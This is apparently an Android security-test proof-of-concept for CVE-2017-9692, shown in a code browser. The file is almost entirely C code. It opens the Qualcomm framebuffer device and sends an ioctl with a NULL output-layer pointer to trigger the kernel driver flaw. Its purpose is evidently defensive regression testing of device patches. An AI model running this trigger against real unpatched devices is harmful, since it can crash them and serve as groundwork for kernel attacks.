Home | History | Annotate | Download | only in CVE-2017-9692
      1 /**
      2  * Copyright (C) 2017 The Android Open Source Project
      3  *
      4  * Licensed under the Apache License, Version 2.0 (the "License");
      5  * you may not use this file except in compliance with the License.
      6  * You may obtain a copy of the License at
      7  *
      8  *      http://www.apache.org/licenses/LICENSE-2.0
      9  *
     10  * Unless required by applicable law or agreed to in writing, software
     11  * distributed under the License is distributed on an "AS IS" BASIS,
     12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     13  * See the License for the specific language governing permissions and
     14  * limitations under the License.
     15  */
     16 
     17 #define GNU_SOURCE
     18 #include <errno.h>
     19 #include <fcntl.h>
     20 #include <linux/types.h>
     21 #include <pthread.h>
     22 #include <stdio.h>
     23 #include <string.h>
     24 #include <sys/mman.h>
     25 #include <sys/socket.h>
     26 #include <sys/stat.h>
     27 #include <sys/time.h>
     28 #include <sys/types.h>
     29 #include <unistd.h>
     30 
     31 #ifndef _IOC_NONE
     32 #define _IOC_NONE 0U
     33 #endif
     34 
     35 #ifndef _IOC_WRITE
     36 #define _IOC_WRITE 1U
     37 #endif
     38 
     39 #ifndef _IOC_READ
     40 #define _IOC_READ 2U
     41 #endif
     42 
     43 #define _IOC_NRBITS 8
     44 #define _IOC_TYPEBITS 8
     45 
     46 #ifndef _IOC_SIZEBITS
     47 #define _IOC_SIZEBITS 14
     48 #endif
     49 
     50 #ifndef _IOC_DIRBITS
     51 #define _IOC_DIRBITS 2
     52 #endif
     53 
     54 #define _IOC_NRMASK ((1 << _IOC_NRBITS) - 1)
     55 #define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS) - 1)
     56 #define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS) - 1)
     57 #define _IOC_DIRMASK ((1 << _IOC_DIRBITS) - 1)
     58 
     59 #define _IOC_NRSHIFT 0
     60 #define _IOC_TYPESHIFT (_IOC_NRSHIFT + _IOC_NRBITS)
     61 #define _IOC_SIZESHIFT (_IOC_TYPESHIFT + _IOC_TYPEBITS)
     62 #define _IOC_DIRSHIFT (_IOC_SIZESHIFT + _IOC_SIZEBITS)
     63 
     64 #define _IOC(dir, type, nr, size)                          \
     65   (((dir) << _IOC_DIRSHIFT) | ((type) << _IOC_TYPESHIFT) | \
     66    ((nr) << _IOC_NRSHIFT) | ((size) << _IOC_SIZESHIFT))
     67 
     68 #ifndef __KERNEL__
     69 #define _IOC_TYPECHECK(t) (sizeof(t))
     70 #endif
     71 
     72 #define _IO(type, nr) _IOC(_IOC_NONE, (type), (nr), 0)
     73 #define _IOR(type, nr, size) \
     74   _IOC(_IOC_READ, (type), (nr), (_IOC_TYPECHECK(size)))
     75 #define _IOW(type, nr, size) \
     76   _IOC(_IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
     77 #define _IOWR(type, nr, size) \
     78   _IOC(_IOC_READ | _IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
     79 #define _IOR_BAD(type, nr, size) _IOC(_IOC_READ, (type), (nr), sizeof(size))
     80 #define _IOW_BAD(type, nr, size) _IOC(_IOC_WRITE, (type), (nr), sizeof(size))
     81 #define _IOWR_BAD(type, nr, size) \
     82   _IOC(_IOC_READ | _IOC_WRITE, (type), (nr), sizeof(size))
     83 
     84 #define MDP_IOCTL_MAGIC 'S'
     85 #define MSMFB_ATOMIC_COMMIT _IOWR(MDP_IOCTL_MAGIC, 128, void *)
     86 
     87 #define MDP_COMMIT_VERSION_1_0 0x00010000
     88 #define MDP_VALIDATE_LAYER 0x01
     89 
     90 #ifdef __LP64
     91 #define MDP_LAYER_COMMIT_V1_PAD 3
     92 #else
     93 #define MDP_LAYER_COMMIT_V1_PAD 4
     94 #endif
     95 
     96 #define MAX_PLANES 4
     97 
     98 struct mult_factor {
     99   uint32_t numer;
    100   uint32_t denom;
    101 };
    102 
    103 enum mdp_color_space {
    104   MDP_CSC_ITU_R_601,
    105   MDP_CSC_ITU_R_601_FR,
    106   MDP_CSC_ITU_R_709,
    107 };
    108 
    109 enum mdss_mdp_blend_op {
    110   BLEND_OP_NOT_DEFINED = 0,
    111   BLEND_OP_OPAQUE,
    112   BLEND_OP_PREMULTIPLIED,
    113   BLEND_OP_COVERAGE,
    114   BLEND_OP_MAX,
    115 };
    116 
    117 struct mdp_rect {
    118   uint32_t x;
    119   uint32_t y;
    120   uint32_t w;
    121   uint32_t h;
    122 };
    123 
    124 struct mdp_layer_plane {
    125   int fd;
    126   uint32_t offset;
    127   uint32_t stride;
    128 };
    129 
    130 struct mdp_layer_commit_v1 {
    131   uint32_t flags;
    132   int release_fence;
    133   struct mdp_rect left_roi;
    134   struct mdp_rect right_roi;
    135   struct mdp_input_layer __user *input_layers;
    136   uint32_t input_layer_cnt;
    137   struct mdp_output_layer __user *output_layer;
    138   int retire_fence;
    139   void __user *dest_scaler;
    140   uint32_t dest_scaler_cnt;
    141   uint32_t reserved[MDP_LAYER_COMMIT_V1_PAD];
    142 };
    143 
    144 struct mdp_layer_commit {
    145   uint32_t version;
    146   union {
    147     struct mdp_layer_commit_v1 commit_v1;
    148   };
    149 };
    150 
    151 struct mdp_layer_buffer {
    152   uint32_t width;
    153   uint32_t height;
    154   uint32_t format;
    155   struct mdp_layer_plane planes[MAX_PLANES];
    156   uint32_t plane_count;
    157   struct mult_factor comp_ratio;
    158   int fence;
    159   uint32_t reserved;
    160 };
    161 
    162 struct mdp_output_layer {
    163   uint32_t flags;
    164   uint32_t writeback_ndx;
    165   struct mdp_layer_buffer buffer;
    166   enum mdp_color_space color_space;
    167   uint32_t reserved[5];
    168 };
    169 
    170 struct mdp_input_layer {
    171   uint32_t flags;
    172   uint32_t pipe_ndx;
    173   uint8_t horz_deci;
    174   uint8_t vert_deci;
    175   uint8_t alpha;
    176   uint16_t z_order;
    177   uint32_t transp_mask;
    178   uint32_t bg_color;
    179   enum mdss_mdp_blend_op blend_op;
    180   enum mdp_color_space color_space;
    181   struct mdp_rect src_rect;
    182   struct mdp_rect dst_rect;
    183   void __user *scale;
    184   struct mdp_layer_buffer buffer;
    185   void __user *pp_info;
    186   int error_code;
    187   uint32_t reserved[6];
    188 };
    189 
    190 int main() {
    191   int fd;
    192   struct mdp_layer_commit commit;
    193   struct mdp_output_layer output_layer;
    194 
    195   fd = open("/dev/graphics/fb2", O_RDWR, 0);
    196   if (fd < 0) {
    197     return -1;
    198   }
    199 
    200   memset(&commit, 0, sizeof(struct mdp_layer_commit));
    201   commit.version = MDP_COMMIT_VERSION_1_0;
    202 
    203   memset(&output_layer, 0, sizeof(output_layer));
    204   commit.commit_v1.output_layer = (struct mdp_output_layer *)NULL;
    205   commit.commit_v1.flags |= MDP_VALIDATE_LAYER;
    206   ioctl(fd, MSMFB_ATOMIC_COMMIT, &commit);
    207 
    208   return 0;
    209 }
    210